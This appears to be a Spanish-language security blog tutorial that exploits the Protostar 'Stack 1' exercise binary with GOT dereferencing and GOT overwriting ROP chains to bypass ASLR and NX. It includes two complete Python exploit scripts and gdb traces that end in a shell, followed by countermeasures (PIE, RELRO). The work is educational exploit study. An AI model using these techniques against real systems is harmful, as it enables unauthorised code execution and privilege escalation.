martes, 5 de febrero de 2013

GOT Dereferencing / Overwriting - ASLR/NX Bypass (Linux)

Después de la entrada anterior, en la que vimos cómo evadir ASLR y NX en la explotación de un Stack Overflow sobre un binario enlazado estáticamente, vamos a tratar de explotar otro. Esta vez lo haremos sobre un binario enlazado dinámicamente, sin instrucciones de ayuda en el código como teníamos en el anterior, ayudándonos de ROP para calcular la dirección de cualquier función de la libc a partir de la la GOT de una función usada en el programa. Las técnicas a tratar se denominan: GOT dereferencing y GOT overwriting, y se encuentran descritas en el paper "Surgically returning to randomized lib(c)".

Antes de meternos en vereda, vamos a ver algunas cosillas que son necesarias para entender el resto.

GOT (Global Offset Table) y PLT (Procedure Linkage Table)

Cuando un ejecutable es cargado en memoria, el linker transfiere a memoria todas bibliotecas solicitadas y realiza la reubicación. El ejecutable dispone de dos secciones que se utilizan con el unico propósito de vincular el ejecutable con las bibliotecas compartidas, que son: la Global Offset Table (GOT) y la Procedure Linkage Table (PLT). La primera es una matriz que contiene la dirección de todas las funciones de bibliotecas usadas en el programa. Esta última se corresponde con una matriz de salto hacia las direcciones de las funciones almacenadas en la GOT.

Figura 1. Llamada a la función de una biblioteca compartida.

Como se puede apreciar en Figura 1, el programa para invocar a la función strcpy de la libc, realiza la llamada en la instrucción 0x8048465, pero en lugar de hacerla de forma normal, pasa el control a la PLT (0x8048330). La PLT para llegar hasta el código de la función dentro de la libc, realiza un salto indirecto (jmp *0x8049724) pasando por la GOT (0x8049724), que es donde se encuentra la dirección absoluta de la función strcpy (0xf7ed2b70).

Esto no es del todo cierto, ya que la primera vez que es llamada una función, la GOT contiene de nuevo un puntero hacia la PLT, donde se llama al enlazador para encontrar la ubicación real de la función en cuestión (ver Figura 2). La segunda vez que la función es llamada, su entrada en la GOT ya contiene la ubicación real de la función.

Figura 2. Primera llamada a la función de una biblioteca compartida.

Restricciones de diseño de la GOT y la PLT

Ya que la GOT y la PLT se utilizan directamente desde cualquier parte del programa, necesitan disponer de una dirección estática conocida en la memoria. Además, la GOT necesita tener permisos de escritura, ya que cuando se resuelve la dirección de una función, es escrita en su correspondiente entrada de la GOT.

¿Y para qué se puede aprovechar todo esto?

Como las direcciones de la sección GOT son estáticas (no afectadas por ASLR), y se dispone de permisos de escritura, se puede aprovechar para sobreescribir la dirección de una función utilizada en el programa (p.e, strcpy), por otra con peores intenciones (p.e, system), de forma que cuando se invoque a la entrada PLT de la función sobreescrita, el flujo del programa vaya hacia la otra.

Resolver direcciones de la libc

Perfecto, si se consigue sobreescribir el contenido de la GOT de una función por la dirección de otra función de la libc, es posible realizar cualquier llamada (incluido a las funciones no exportadas). Pero vaya, no es tan fácil como pinta, ya que la libc es afectada por ASLR y sus direcciones varían en cada ejecución. Pero no del todo ;-)

Aunque sus direcciones cambien en cada ejecución, el enlazador siempre rellena la GOT con las direcciones actualizadas para que sean coherentes con la dirección base de la biblioteca, por lo que el offset entre dos funciones de la biblioteca es siempre constante. Es decir, que a partir de una dirección absoluta dada, obtenida de la GOT de cualquier función utilizada en el programa, es posible calcular la dirección de cualquier otra a partir de los offsets.

offset = system() - strcpy()
system() = strcpy() + offset

Para poder llevar a cabo esto, existen dos técnicas: GOT Dereferencing y GOT Overwriting, que sirven básicamente para re-calcular funciones de la libc a partir de la GOT de una función usada en el programa, empleando ROP.

  • GOT dereferencing: Consiste en combinar ROP gadgets para leer la dirección absoluta de cualquier función usada en el programa (p.e, strcpy) a partir su entrada en la GOT, utilizar dicha dirección para calcular la de otra función de la biblioteca (p.e, system), y realizar un salto hacia ella.
  • GOT overwriting: Es similar a la anterior, pero aquí en vez de leer la dirección de una función y calcular la de otra, se sobreescribe la entrada GOT de una de ellas (p.e, strcpy) con la dirección tiene más el offset de la función a usar (p.e, system). Por último, se invoca a la PLT de la función sobreescrita haciendo un ret2plt.

Dicho todo esto... ¡AL LÍO!

Programa vulnerable

Para hacer pruebas con estas técnicas quería algo muy básico por el tema de no abusar con los gadgets del binario, así que he escogido el nivel Stack 1 de la máquina virtual Protostar de Exploit-Exercises, que se trata de un simple Stack Overflow de libro en el que se demuestra cómo se establecen las variables en memoria, pero que para nuestro fin nos viene al pelo.

DESCARGAR
MD5: df2ce10a6ca6b19337c4f44b52789c7b

Protecciones

$ bash /tools/exploiting/checksec.sh --file stack1
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        No canary found   NX enabled    No PIE                  stack1

# FULL ASLR
$ /sbin/sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

$ ldd stack1 | grep libc
 libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7589000)
$ ldd stack1 | grep libc
 libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7618000)

  • RELRO: GOT modificable.
  • NX: Stack no ejecutable.
  • ASLR: Activado.

Perfecto, ¡a darle caña!

# Generamos una cadena de caracteres aleatorios
$ /pentest/exploits/msf4/tools/pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

# Pasamos la cadena de argumento
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /home/dani/stack1/stack1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Try again, you got 0x63413163

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
(gdb) 

# Comprobamos dónde se sobreescribe la dirección de retorno
$ /pentest/exploits/msf4/tools/pattern_offset.rb 0x37634136
[*] Exact match at offset 80

Ahora que tenemos el control del flujo del programa, toca buscar ROP gadgets.

GOT dereferencing

Para llevar a cabo esta técnica se necesitan gadgets de varios tipos: de carga, de adición y transferencia de control indirecto.

ROPeMe> generate stack1 5
Generating gadgets for stack1 with backward depth=5
It may take few minutes depends on the depth and file size...
Processing code block 1/1
Generated 96 gadgets
Dumping asm gadgets to file: stack1.ggt ...
OK
ROPeMe> 

ROPeMe sólo nos ha encontrado 96 gadgets debido a que el binario es muy reducido (23,2 kB) y está enlazado de forma dinámica. De todas formas, vamos a intentar apañarnos.

ROPeMe> search pop ? pop %
Searching for ROP gadget:  pop ? pop % with constraints: []
...
0x8048432L: pop ebx ; pop ebp ;;
...
0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
...

ROPeMe> search xchg %
Searching for ROP gadget:  xchg % with constraints: []
0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
...

ROPeMe> search add eax %
Searching for ROP gadget:  add eax % with constraints: []
...
0x804856eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;

ROPeMe> search call eax %
Searching for ROP gadget:  call eax % with constraints: []
0x804845fL: call eax ; leave ;;

Gadgets a utilizar

  1. 0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
  2. 0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
  3. 0x8048432L: pop ebx ; pop ebp ;;
  4. 0x804856eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
  5. 0x804845fL: call eax ; leave ;;

El gadget (1) lo usaremos para dar valor a los registros EBX y EDI que serán usados por el (2). Con el (2) haremos un intercambio de los valores de EAX y EDI, por lo que EAX obtendrá el valor de EDI (que controlamos). Luego, con el (2) sumaremos el valor de EAX al almacenado en [ebx+0x5d5b04c4]. Como también tenemos el control de EBX, utilizaremos este gadget para sumar el valor de EAX en donde queramos, previamente restando 0x5d5b04c4 a la dirección donde se va a escribir. Con el (3) restableceremos de nuevo el valor de EBX. Con el (4) leeremos un valor de [ebx-0xb8a0008] y se lo sumaremos a EAX. Y por ultimo, con el (5) realizaremos un salto a la dirección que apunta EAX.

¡Menudo jaleo!

La idea es utilizar el gadget (2) para escribir el offset entre system y strcpy en algún sitio con permisos de escritura, de forma que el registro EAX se quede con dicho offset. Luego, con el (4) sumar al offset que tenemos en EAX la dirección de strcpy obtenida de la GOT, teniendo en EAX un puntero a system. Por ultimo, con el (5), llamar a la función calculada.

Para obtener la dirección de las entradas de la GOT del programa, podemos utilizar objdump.

$ objdump -R ./stack1

./stack1:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080496f8 R_386_GLOB_DAT    __gmon_start__
08049708 R_386_JUMP_SLOT   __gmon_start__
0804970c R_386_JUMP_SLOT   __libc_start_main
08049710 R_386_JUMP_SLOT   strcpy
08049714 R_386_JUMP_SLOT   printf
08049718 R_386_JUMP_SLOT   errx
0804971c R_386_JUMP_SLOT   puts

Con esto ya sabemos que la dirección absoluta de la función strcpy será almacenada en 0x08049710. Ahora tenemos que calcular el offset entre system y strcpy, que podemos obtenerlo mismamente desde el fichero de la biblioteca o con GDB.

$ objdump -T /lib/i386-linux-gnu/i686/cmov/libc.so.6 | egrep 'strcpy$|system$'
00078b70 g    DF .text 00000023  GLIBC_2.0   strcpy
0003bf10 g    DF .text 0000007d  GLIBC_PRIVATE __libc_system
0003bf10  w   DF .text 0000007d  GLIBC_2.0   system

0x0003bf10(system) - 0x00078b70(strcpy) = 0xfffc33a0 (offset)

(gdb) p system
$1 = {<text variable, no debug info>} 0xf7e95f10 <system>
(gdb) p strcpy
$2 = {<text variable, no debug info>} 0xf7ed2b70 <strcpy>

# OFFSET
(gdb) p /x 0xf7e95f10-0xf7ed2b70
$4 = 0xfffc33a0

# STRCPY + OFFSET = SYSTEM
(gdb) x/2i strcpy+0xfffc33a0
   0xf760ff10 <system>: sub    esp,0xc
   0xf760ff13 <system+3>: mov    DWORD PTR [esp+0x4],esi

Obtenemos el mismo resultado ;-)

Para el acceso del gadget (2) necesitamos tener la dirección de algún lugar estático con permisos de escritura (W), como por ejemplo la sección .data.

$ readelf -S stack1 | grep "\.data"
  [24] .data             PROGBITS        08049720 000720 000008 00  WA  0   0  4

Teniendo todos estos datos en nuestro poder, podemos comenzar la explotación.

  • strcpy@GOT: 0x08049710
  • Offset system-strcpy: 0xfffc33a0
  • data: 0x08049720

Con el gadget (1) colocaremos en EBX la dirección de la sección data, y en EDI el offset entre system y strcpy. Como el gadget (2) hará un intercambio entre EDI y EAX, y después sumará 8 a EAX, tendremos que tener en cuenta esa suma, restando 8 al offset. Luego, como se realizará la adición de EAX al valor apuntado en [ebx+0x5d5b04c4], tendremos que restar a la dirección de data el valor 0x5d5b04c4, para que el acceso sea correcto y no provoque una violación de segmento. Dicho esto:

# offset
(gdb) p/x 0xfffc33a0-8
$1 = 0xfffc3398

# data
(gdb) p/x 0x08049720-0x5d5b04c4
$2 = 0xaaa9925c
(gdb) 

Con el gadget (3) volveremos a dar valor a EBX para el acceso del gadget (4), que en este caso será la dirección de la GOT de strcpy. Como el (4) realizará la adición en EAX del valor apuntado en [ebx-0xb8a0008], tendremos que sumar a la dirección de la GOT de strcpy el valor 0xb8a0008, quedando:

# strcpy@GOT
(gdb) p/x 0x08049710+0xb8a0008
$1 = 0x138e9718

Así, cuando la instrucción "add eax [ebx-0xb8a0008]" termine de ejecutarse, el registro EAX tendrá la dirección absoluta de la función strcpy+offset, apuntando a la dirección de system. De esta manera habremos calculado la dirección de system de forma dinámica, saltándonos el ASLR ;-D

Después, en el gadget (4) nos encontramos con un pequeño problema, y es que la instrucción "add esp 0x4" reduce la pila 4 bytes, por lo que perdemos el siguiente dato a "popear". Esto lo solucionamos fácilmente añadiendo otros 4 bytes de relleno.

Al llegar al gadget (5) se ejecutará el "call eax", que hará la llamada a la dirección de system. En ese momento, la cima de la pila (ESP) tiene que tener la dirección de una cadena que sirva como parámetro a system. Para ello usaremos la cadena "GNU", que se encuentra en la dirección 0x8048154 de la sección .note.gnu.build-id.

Figura 3. Estado de la pila justo antes de ejecutarse el RET de main().

Teniendo todo esto claro, solo nos queda hacer un exploit y depurar :-)

#!/usr/bin/python
#
# Exploit GOT Dereferencing (ROP)
# ASLR/NX Bypass
#
# @danigargu
# http://danigargu.blogspot.com.es
# 

from struct import pack

junk = "A" * 64 + "dcba" + "A" * 12  # 80 bytes

## ROP gadgets ##

gadget1 = pack('<I', 0x8048545) # (1) pop ebx ; pop esi ; pop edi ; pop ebp ;;
gadget2 = pack('<I', 0x804842b) # (2) xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
gadget3 = pack('<I', 0x8048432) # (3) pop ebx ; pop ebp ;;
gadget4 = pack('<I', 0x804856e) # (4) add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
gadget5 = pack('<I', 0x804845f) # (5) call eax ; leave ;;

padding = "AAAA" # 4 bytes
offset = 0xfffc33a0-8                              # offset (system-strcpy) - 8 for the gadget (2)
data = (0x08049720-0x5d5b04c4) & 0xFFFFFFFF        # .data - 0x5d5b04c4 for the gadget (2)
strcpy_got = (0x08049710+0xb8a0008)                # strcpy@GOT + 0xb8a0008 for the gadget (4)
gnu_string = 0x8048154                             # "GNU\x00" from note.gnu.build-id

## PAYLOAD ##

rop = gadget1                    # pop ebx ; pop esi ; pop edi ; pop ebp ;;
rop += pack('<I', data)          # EBX = .data - 0x5d5b04c4
rop += padding                   # ESI = padding
rop += pack('<I', offset)        # EDI = offset - 8
rop += padding                   # EBP = padding

rop += gadget2                   # EAX = OFFSET system-strcpy

rop += gadget3                   # pop ebx ; pop ebp ;;
rop += pack('<I', strcpy_got)    # EBX = strcpy@GOT + 0xb8a0008 
rop += padding                   # EBP = padding

rop += gadget4                   # EAX = (OFFSET system-strcpy) + strcpy = SYSTEM ;D
rop += padding                   # padding for "add esp 0x4"
rop += padding                   # EBX = padding
rop += padding                   # EBP = padding

rop += gadget5                   # call eax ; leave ;;
rop += pack('<I', gnu_string)    # "GNU" string

payload = junk + rop

print payload

Descargar exploit

A depurar!

# Breakpoint en el RET de main
(gdb) b *0x080484d6
Breakpoint 1 at 0x80484d6: file stack1/stack1.c, line 23.

# Mostrar siguiente instrucción a ejecutar
(gdb) set disassemble-next-line on

# Ejecutamos
(gdb) r "$(python exploit_dereferencing.py)"
Starting program: /home/dani/stack1/stack1 "$(python exploit_dereferencing.py)"
you have correctly got the variable to the right value

Breakpoint 1, 0x080484d6 in main at stack1/stack1.c:23
   0x080484d5 <main+113>: c9 leave  
=> 0x080484d6 <main+114>: c3 ret

# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xffb90b2c: 0x08048545     --> Dirección gadget1
(gdb) stepi
Cannot access memory at address 0x41414145

#### Comienzo gadget (1) ####

(gdb) x/i $eip
=> 0x8048545 <__libc_csu_init+85>: pop    ebx

...

(gdb) stepi 
0x08048549 in __libc_csu_init ()
=> 0x08048549 <__libc_csu_init+89>: c3 ret   

# Registros importantes tras acabar el gadget (1)
(gdb) i r ebx edi
ebx            0xaaa9925c -1431727524    --> data - 0x5d5b04c4
edi            0xfffc3398 -248936        --> offset system-strcpy-8
(gdb) 

(gdb) stepi
Cannot access memory at address 0x41414145

#### Comienzo gadget (2) ####

(gdb) x/i $eip
=> 0x804842b <__do_global_dtors_aux+75>: xchg   %eax,%edi
(gdb) stepi
0x0804842c in __do_global_dtors_aux ()
=> 0x0804842c <__do_global_dtors_aux+76>: 04 08 add    al,0x8
(gdb) stepi
0x0804842e in __do_global_dtors_aux ()
=> 0x0804842e <__do_global_dtors_aux+78>: 01 83 c4 04 5b 5d add    DWORD PTR [ebx+0x5d5b04c4],eax
(gdb) i r eax
eax            0xfffc33a0 -248928       --> offset system-strcpy
(gdb) 

...

#### Comienzo gadget (3) ####

(gdb) x/i $eip
=> 0x8048432 <__do_global_dtors_aux+82>: pop    ebx
(gdb) stepi
0x08048433 in __do_global_dtors_aux ()
=> 0x08048433 <__do_global_dtors_aux+83>: 5d pop    ebp
(gdb) i r ebx
ebx            0x138e9718 328111896    --> strcpy@GOT (0x8049710) + 0xb8a0008
(gdb) 

#### Comienzo gadget (4) ####

(gdb) x/i $eip
=> 0x804856e <__do_global_ctors_aux+30>: add    eax,DWORD PTR [ebx-0xb8a0008]

# VALOR strcpy@GOT
(gdb) x/x 0x08049710
0x8049710 <strcpy@got.plt>: 0xf763db70   -> Dirección strcpy

(gdb) stepi
0x08048574 in __do_global_ctors_aux ()
=> 0x08048574 <__do_global_ctors_aux+36>: 83 c4 04 add    esp,0x4
(gdb) i r eax
eax            0xf7600f10 -144699632   --> EAX += 0xf763db70 (strcpy) = SYSTEM
(gdb) x/i 0xf7600f10
   0xf7600f10 <system>: sub    esp,0xc

...

#### Comienzo gadget (5) ####

(gdb) x/i $eip
=> 0x804845f <frame_dummy+31>: call   eax
(gdb) x/x $esp
0xffa95dd4: 0x08048154 
(gdb) x/s 0x08048154
0x8048154:  "GNU"

# FINAL

(gdb) c
Continuing.
sh: 1: GNU: not found

Parece que todo está correcto, pero al terminar nos devuelve un "sh: 1: GNU: not found" debido a que no existe ningún binario en nuestro sistema llamado GNU. Para resolver este problema tan solo tenemos que crear un enlace simbólico a /bin/sh con nombre GNU y añadir el directorio actual a la variable de entorno PATH.

$ ln -s /bin/sh GNU
$ ls -l GNU
lrwxrwxrwx 1 dani dani 7 ene 30 21:38 GNU -> /bin/sh
$ export PATH=.:$PATH
$ ./stack1 "$(python exploit_dereferencing.py)"
you have correctly got the variable to the right value
# id
uid=1000(dani) gid=1000(dani) euid=0(root) egid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(dani)
# whoami
root
#

¡¡FUNCIONA!! Después de todo este rollo hemos conseguido explotarlo ;-D

Figura 4. Ejecución del exploit.

GOT overwriting

En este caso, como solo tenemos que sobreescribir la dirección de la GOT de una función utilizada en el programa, añadiéndola el offset entre otra función, con estos 2 gadgets usados anteriormente nos es suficiente:

  1. 0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
  2. 0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;

El gadget (1) colocará en EBX la dirección de la GOT de strcpy, y en EDI el offset entre system y strcpy. El (2) sumará el offset al contenido de la GOT de strcpy (dirección absoluta de strcpy), haciendo que apunte a system. Luego tan solo tendremos que llamar a la PLT de strcpy para invocar system, haciendo un ret2plt.

Exploit:

#!/usr/bin/python
#
# Exploit GOT Overwriting (ROP)
# ASLR/NX Bypass
#
# @danigargu
# http://danigargu.blogspot.com.es
# 

from struct import pack

junk = "A" * 64 + "dcba" + "A" * 12  # 80 bytes

## ROP gadgets ##

gadget1 = pack('<I', 0x8048545) # (1) pop ebx ; pop esi ; pop edi ; pop ebp ;;
gadget2 = pack('<I', 0x804842b) # (2) xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;

padding = "AAAA" # 4 bytes
offset = 0xfffc33a0-8                               # offset (system-strcpy) - 8 for the gadget (2)
strcpy_got = (0x08049710-0x5d5b04c4) & 0xFFFFFFFF   # strcpy@GOT - 0x5d5b04c4 for the gadget (2)
strcpy_plt = 0x08048368                             # strcpy@PLT
gnu_string = 0x8048154                              # "GNU\x00" from note.gnu.build-id

## PAYLOAD ##

rop = gadget1                    # pop ebx ; pop esi ; pop edi ; pop ebp ;;
rop += pack('<I', strcpy_got)    # EBX = strcpy@GOT - 0x5d5b04c4
rop += padding                   # ESI = padding
rop += pack('<I', offset)        # EDI = offset - 8
rop += padding                   # EBP = padding

rop += gadget2                   # EAX = OFFSET system-strcpy
                                 # [ebx+0x5d5b04c4] (strcpy@GOT) + EAX = system

rop += pack('<I', strcpy_plt)    # strcpy@PLT
rop += padding                   # return address
rop += pack('<I', gnu_string)    # "GNU" string

payload = junk + rop

print payload

Descargar exploit

Depuración:

# Breakpoint en el RET de main
(gdb) b *0x080484d6
Breakpoint 1 at 0x80484d6: file stack1/stack1.c, line 23.

# Ejecutamos
(gdb) r "$(python exploit_overwriting.py)"
Starting program: /home/dani/stack1/stack1 "$(python exploit_overwriting.py)"
you have correctly got the variable to the right value

Breakpoint 1, 0x080484d6 in main at stack1/stack1.c:23
   0x080484d5 <main+113>: c9 leave  
=> 0x080484d6 <main+114>: c3 ret 

# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xff87ad8c: 0x08048545     --> Dirección gadget1
(gdb) stepi
Cannot access memory at address 0x41414145

#### Comienzo gadget (1) ####

(gdb) x/i $eip
=> 0x8048545 <__libc_csu_init+85>: pop    ebx

...

(gdb) stepi
0x08048549 in __libc_csu_init ()
=> 0x08048549 <__libc_csu_init+89>: c3 ret    

# Registros importantes tras acabar el gadget (1)
(gdb) i r ebx edi
ebx            0xaaa9924c -1431727540     --> strcpy@GOT - 0x5d5b04c4
edi            0xfffc3398 -248936         --> offset system-strcpy-8
(gdb) 

(gdb) stepi
Cannot access memory at address 0x41414145

#### Comienzo gadget (2) ####

(gdb) x/i $eip
=> 0x804842b <__do_global_dtors_aux+75>: xchg   edi,eax
(gdb) stepi
0x0804842c in __do_global_dtors_aux ()
=> 0x0804842c <__do_global_dtors_aux+76>: 04 08 add    al,0x8
(gdb) stepi
0x0804842e in __do_global_dtors_aux ()
=> 0x0804842e <__do_global_dtors_aux+78>: 01 83 c4 04 5b 5d add    DWORD PTR [ebx+0x5d5b04c4],eax

(gdb) i r eax
eax            0xfffc33a0 -248928        --> offset system-strcpy

# VALOR strcpy@GOT
(gdb) x/x 0x08049710
0x8049710 <strcpy@got.plt>: 0xf76bcb70     --> Dirección strcpy
(gdb) x/i 0xf76bcb70
   0xf76bcb70 <strcpy>: push   ebp

(gdb) stepi
0x08048434 in __do_global_dtors_aux ()
=> 0x08048434 <__do_global_dtors_aux+84>: c3 ret    

# VALOR strcpy@GOT
(gdb) x/x 0x08049710
0x8049710 <strcpy@got.plt>: 0xf767ff10    --> Dirección system
(gdb) x/i 0xf767ff10
   0xf767ff10 <system>: sub    esp,0xc
(gdb) 

# Siguiente instrucción a ejecutar
(gdb) x/x $esp
0xff867214: 0x08048368      --> strcpy@PLT
(gdb) x/i 0x08048368
   0x8048368 <strcpy@plt>: jmp    DWORD PTR ds:0x8049710
(gdb) 


# FINAL

(gdb) c
Continuing.
$ id
uid=1000(dani) gid=1000(dani) grupos=1000(dani),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
$ 

Contramedidas

Con estos ataques hemos conseguido evadir ASLR y NX, que suelen ser las técnicas de protección más adoptadas, pero todavía existen otras que pueden ser implementadas, y que hacen que la explotación sea mucho más compleja. PIE (Position-independent executables) y RELRO (RELocation Read-Only) son dos de ellas.

Cuando se utiliza PIE, los binarios son compilados de manera que puedan ser libremente localizables en todo el espacio de direcciones del programa. Así, con el apoyo de ASLR, se cree que los programas están mucho más protegidos contra los ataques que utilizan ROP, ya que no sólo las direcciones del código de las bibliotecas son aleatorias, sino también las direcciones de las instrucciones del propio programa. Sin embargo, PIE necesita recompilación y disminuye el rendimiento del programa, por ello, la mayoría de las modernas distribuciones GNU/Linux aún no lo implementan sus binarios.

Por otro lado, RELRO se utiliza para marcar la sección GOT con solo permisos de lectura, previniendo ataques que necesitan sobreescribir dicha sección, como el tratado anteriormente (GOT overwriting), aunque no el primero (GOT dereferencing).

Enlaces de interés

- Payload already inside: Data reuse for ROP exploits
- ROP Zombie
- RELRO - A (not so well known) Memory Corruption Mitigation Technique
- Too much PIE is bad for performance
- How Effective is ASLR on Linux Systems?

Despedida

Y esto ha sido todo. Si has llegado hasta aquí, espero que hayas disfrutado tanto como yo ;-)

Un saludo!